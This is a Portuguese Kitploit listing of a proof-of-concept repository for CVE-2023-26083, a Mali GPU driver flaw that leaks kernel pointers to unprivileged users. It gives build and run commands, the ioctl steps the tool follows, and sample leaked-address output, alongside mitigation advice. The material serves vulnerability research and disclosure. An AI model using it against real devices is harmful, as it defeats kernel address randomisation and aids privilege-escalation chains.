Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-26083 — CVE-2023-26083-Mali-InfoLeak-PoC | Kitploit
Ferramentas/GitHubGitHub/noverisp3/cve-2023-26083
Análise de VulnerabilidadesExploraçãoColeta de InformaçõesSegurança de Hardware e IoTAprendizado e EducaçãoExploração de Binários
GitHubnoverisp3/cve-2023-26083

CVE-2023-26083

CVE-2023-26083-Mali-InfoLeak-PoC

Ver Repositório
4há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-26083 – Vazamento de endereço do kernel da GPU Mali via Timeline Stream

Este repositório contém uma prova de conceito (PoC) para a CVE-2023-26083, uma vulnerabilidade no driver da GPU Mali (Arm Mali GPU Kernel Driver) que permite a um usuário não privilegiado vazar ponteiros do kernel e informações internas sensíveis através da timeline stream (/dev/mali0).

Visão Geral da Vulnerabilidade

O driver da GPU Mali fornece um recurso de “timeline stream” (tlstream) para perfilamento e depuração. Esse stream exporta eventos que contêm ponteiros brutos do kernel (por exemplo, endereços de kbase_context, kbase_gpu, kbase_lpu, espaços de endereço, atoms, etc.). Normalmente, o acesso a este stream exigiria a flag BASE_CONTEXT_CREATE_FLAG_MONITOR. No entanto, devido a uma verificação de permissão ausente no manipulador KBASE_IOCTL_TLSTREAM_ACQUIRE, qualquer processo (mesmo sem a flag de monitor) pode obter um descritor de arquivo para a timeline stream e ler endereços de memória do kernel.

Impacto:

  • Vazar ponteiros do kernel neutraliza o KASLR (Kernel Address Space Layout Randomization).
Baixar ferramenta
  • Combinado com outras vulnerabilidades (ex.: use-after-free, escrita arbitrária), pode levar à escalada de privilégios ou execução arbitrária de código no kernel.
  • O vazamento em si expõe o estado interno do driver e pode ser usado para fingerprinting.
  • Versões Afetadas

    • Versões do Arm Mali GPU Kernel Driver anteriores à correção da CVE-2023-26083.

    Compilação e Execução

    Pré-requisitos

    • Um dispositivo com uma GPU Mali (ex.: Exynos, MediaTek, alguns SoCs Rockchip).
    • Não é necessário acesso root – a PoC funciona como um usuário não privilegiado.
    • O kernel deve ter o driver Mali embutido ou como módulo (/dev/mali0 deve existir).

    Compilação

    Como o código é autocontido e independente, você pode facilmente compilá-lo de forma cruzada usando ferramentas padrão.

    1. Para Android (Recomendado)

    Use a toolchain do Android NDK para compilar para dispositivos ARM64. É altamente recomendável usar ligação estática para evitar problemas de compatibilidade do linker dinâmico em diferentes versões do Android:

    root@kitploit:~
    aarch64-linux-android21-clang -static -o mali_tlstream_leak mali_tlstream_leak.c
    

    2. Para Desktops/Placas Linux baseados em ARM

    Se você estiver testando em uma placa de desenvolvimento ARM (como Raspberry Pi ou Odroid) que tenha uma GPU Mali e execute uma distribuição Linux padrão:

    root@kitploit:~
    gcc -static -o mali_tlstream_leak mali_tlstream_leak.c
    

    Execução

    root@kitploit:~
    ./mali_tlstream_leak
    

    O programa irá:

    1. Abrir /dev/mali0.
    2. Realizar uma verificação de versão.
    3. Definir as flags para BASE_CONTEXT_CREATE_FLAG_NONE (nenhum privilégio de monitor).
    4. Adquirir a timeline stream (ioctl vulnerável).
    5. Ler pacotes da timeline por alguns segundos.
    6. Analisar e exibir os vazamentos de ponteiros do kernel (marcados com *** KERNEL).

    Exemplo de Saída

    Nota: Esta Prova de Conceito (PoC) foi testada apenas em um Samsung Galaxy J7 Prime rodando Android 8.1.0 (Kernel 3.18) com o nível de patch de segurança de 1º de abril de 2020.

    root@kitploit:~
    on7xelte:/data/local/tmp $ ./mali_tlstream_leak
    Version: major=11 minor=5
    SET_FLAGS ok
    TLSTREAM_ACQUIRE ok, tlfd=4
    Read 3805 bytes from tlstream (total=3805)
    
    Raw hex dump (3805 bytes):
    
    0000: 01 00 00 04 e1 0a 00 00 03 08 20 00 00 00 00 00
    0010: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
    0020: 45 57 5f 43 54 58 00 16 00 00 00 6f 62 6a 65 63
    0030: 74 20 63 74 78 20 69 73 20 63 72 65 61 74 65 64
    0040: 00 05 00 00 00 40 70 49 49 00 10 00 00 00 63 74
    0050: 78 2c 63 74 78 5f 6e 72 2c 74 67 69 64 00 01 00
    0060: 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c 5f 4e
    0070: 45 57 5f 47 50 55 00 16 00 00 00 6f 62 6a 65 63
    0080: 74 20 67 70 75 20 69 73 20 63 72 65 61 74 65 64
    0090: 00 05 00 00 00 40 70 49 49 00 16 00 00 00 67 70
    00a0: 75 2c 67 70 75 5f 69 64 2c 63 6f 72 65 5f 63 6f
    00b0: 75 6e 74 00 02 00 00 00 11 00 00 00 4b 42 41 53
    00c0: 45 5f 54 4c 5f 4e 45 57 5f 4c 50 55 00 16 00 00
    00d0: 00 6f 62 6a 65 63 74 20 6c 70 75 20 69 73 20 63
    00e0: 72 65 61 74 65 64 00 05 00 00 00 40 70 49 49 00
    00f0: 12 00 00 00 6c 70 75 2c 6c 70 75 5f 6e 72 2c 6c
    0100: 70 75 5f 66 6e 00 03 00 00 00 12 00 00 00 4b 42
    0110: 41 53 45 5f 54 4c 5f 4e 45 57 5f 41 54 4f 4d 00
    0120: 17 00 00 00 6f 62 6a 65 63 74 20 61 74 6f 6d 20
    0130: 69 73 20 63 72 65 61 74 65 64 00 04 00 00 00 40
    0140: 70 49 00 0d 00 00 00 61 74 6f 6d 2c 61 74 6f 6d
    0150: 5f 6e 72 00 04 00 00 00 10 00 00 00 4b 42 41 53
    0160: 45 5f 54 4c 5f 4e 45 57 5f 41 53 00 20 00 00 00
    0170: 61 64 64 72 65 73 73 20 73 70 61 63 65 20 6f 62
    0180: 6a 65 63 74 20 69 73 20 63 72 65 61 74 65 64 00
    0190: 04 00 00 00 40 70 49 00 14 00 00 00 61 64 64 72
    01a0: 65 73 73 5f 73 70 61 63 65 2c 61 73 5f 6e 72 00
    01b0: 05 00 00 00 11 00 00 00 4b 42 41 53 45 5f 54 4c
    01c0: 5f 44 45 4c 5f 43 54 58 00 15 00 00 00 63 6f 6e
    01d0: 74 65 78 74 20 69 73 20 64 65 73 74 72 6f 79 65
    01e0: 64 00 03 00 00 00 40 70 00 04 00 00 00 63 74 78
    01f0: 00 06 00 00 00 12 00 00 00 4b 42 41 53 45 5f 54
    
    Parsing packets:
    
    Packet at offset 0: family=TL class=OBJ type=HEADER stream=1 len=2785 numbered=0
    
    Packet at offset 2793: family=TL class=OBJ type=SUMMARY stream=1 len=1004 numbered=0
      [NEW_LPU] (ts=104596762668116, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL val1=0 val1=526
      [NEW_LPU] (ts=104596762668539, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL val1=1 val1=510
      [NEW_LPU] (ts=104596762669039, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL val1=2 val1=126
      [NEW_AS] (ts=104596762669654, 12 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL val1=0
      [NEW_AS] (ts=104596762670078, 12 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL val1=1
      [NEW_AS] (ts=104596762670347, 12 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL val1=2
      [NEW_AS] (ts=104596762670539, 12 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL val1=3
      [NEW_AS] (ts=104596762670847, 12 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL val1=4
      [NEW_AS] (ts=104596762671001, 12 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL val1=5
      [NEW_AS] (ts=104596762671154, 12 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL val1=6
      [NEW_AS] (ts=104596762671462, 12 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL val1=7
      [NEW_GPU] (ts=104596762671808, 16 bytes payload) ptr0=0xffffffc0baeac000 *** KERNEL val1=137363472 val1=1
      [LIFELINK_LPU_GPU] (ts=104596762671962, 16 bytes payload) ptr0=0xffffffc0baead7f8 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_LPU_GPU] (ts=104596762672385, 16 bytes payload) ptr0=0xffffffc0baead7fc *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_LPU_GPU] (ts=104596762672578, 16 bytes payload) ptr0=0xffffffc0baead800 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762672924, 16 bytes payload) ptr0=0xffffffc0baeac740 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762673116, 16 bytes payload) ptr0=0xffffffc0baeac838 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762673385, 16 bytes payload) ptr0=0xffffffc0baeac930 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762673539, 16 bytes payload) ptr0=0xffffffc0baeaca28 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762673847, 16 bytes payload) ptr0=0xffffffc0baeacb20 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762674001, 16 bytes payload) ptr0=0xffffffc0baeacc18 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762674154, 16 bytes payload) ptr0=0xffffffc0baeacd10 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [LIFELINK_AS_GPU] (ts=104596762674462, 16 bytes payload) ptr0=0xffffffc0baeace08 *** KERNEL ptr1=0xffffffc0baeac000 *** KERNEL
      [NEW_CTX] (ts=104596762674962, 16 bytes payload) ptr0=0xffffff802619e000 *** KERNEL val1=194 val1=12465
      [NEW_CTX] (ts=104596762675654, 16 bytes payload) ptr0=0xffffff8025e13000 *** KERNEL val1=193 val1=12116
      [NEW_CTX] (ts=104596762676385, 16 bytes payload) ptr0=0xffffff8025bb3000 *** KERNEL val1=192 val1=11342
      [NEW_CTX] (ts=104596762677154, 16 bytes payload) ptr0=0xffffff801de1f000 *** KERNEL val1=156 val1=24216
      [NEW_CTX] (ts=104596762677885, 16 bytes payload) ptr0=0xffffff801db73000 *** KERNEL val1=150 val1=29044
      [NEW_CTX] (ts=104596762678616, 16 bytes payload) ptr0=0xffffff80224ce000 *** KERNEL val1=145 val1=6525
      [NEW_CTX] (ts=104596762679693, 16 bytes payload) ptr0=0xffffff801f1f2000 *** KERNEL val1=47 val1=3367
      [NEW_CTX] (ts=104596762680385, 16 bytes payload) ptr0=0xffffff801e187000 *** KERNEL val1=36 val1=23263
      [NEW_CTX] (ts=104596762681385, 16 bytes payload) ptr0=0xffffff80243c5000 *** KERNEL val1=26 val1=15858
      [NEW_CTX] (ts=104596762682193, 16 bytes payload) ptr0=0xffffff8020cff000 *** KERNEL val1=24 val1=4256
      [NEW_CTX] (ts=104596762682885, 16 bytes payload) ptr0=0xffffff801f221000 *** KERNEL val1=15 val1=10645
      [NEW_CTX] (ts=104596762683654, 16 bytes payload) ptr0=0xffffff801dbca000 *** KERNEL val1=3 val1=2976
      [NEW_CTX] (ts=104596762684501, 16 bytes payload) ptr0=0xffffff802b375000 *** KERNEL val1=2 val1=3409
      [NEW_CTX] (ts=104596762685039, 16 bytes payload) ptr0=0xffffff8020d88000 *** KERNEL val1=0 val1=2613
    

    Conforme mostrado, a PoC vaza com sucesso múltiplos endereços do kernel:

    • Objetos LPU (Unidade de Processamento Lógico)
    • Objetos de Espaço de Endereço (AS)
    • Objeto GPU
    • Objetos de Contexto (kbase_context)

    Explicação do Código

    Os passos principais são:

    1. Abrir /dev/mali0 – interface padrão do dispositivo Mali.
    2. KBASE_IOCTL_VERSION_CHECK – necessário para inicializar o contexto do driver.
    3. KBASE_IOCTL_SET_FLAGS – define create_flags como BASE_CONTEXT_CREATE_FLAG_NONE (nenhum privilégio de monitor).
      Isso normalmente bloquearia o acesso ao tlstream, mas o bug permite a bypass.
    4. KBASE_IOCTL_TLSTREAM_ACQUIRE – obtém um novo descritor de arquivo para a timeline stream.
      Apesar da flag de monitor ausente, o ioctl retorna um fd válido.
    5. read() – lê os pacotes brutos da timeline.
    6. Parser – decodifica o cabeçalho do pacote e as mensagens de evento da timeline, extraindo ponteiros do kernel.

    Mitigação / Patch

    Atualize seu kernel para uma versão que inclua a correção para CVE-2023-26083.
    Alternativamente, se você é fabricante, aplique o patch da Arm ou da árvore estável do kernel Linux.

    Aviso Legal

    Este código é fornecido apenas para fins educacionais e de pesquisa em segurança.
    Usar este exploit em sistemas sem permissão explícita pode violar leis aplicáveis. O autor não se responsabiliza por qualquer uso indevido ou dano causado por este software. Utilize-o apenas em dispositivos que você possui ou para os quais tenha autorização por escrito para testar.

    Referências

    • CVE-2023-26083
    • NIST NVD - CVE-2023-26083

    Autor

    Noveris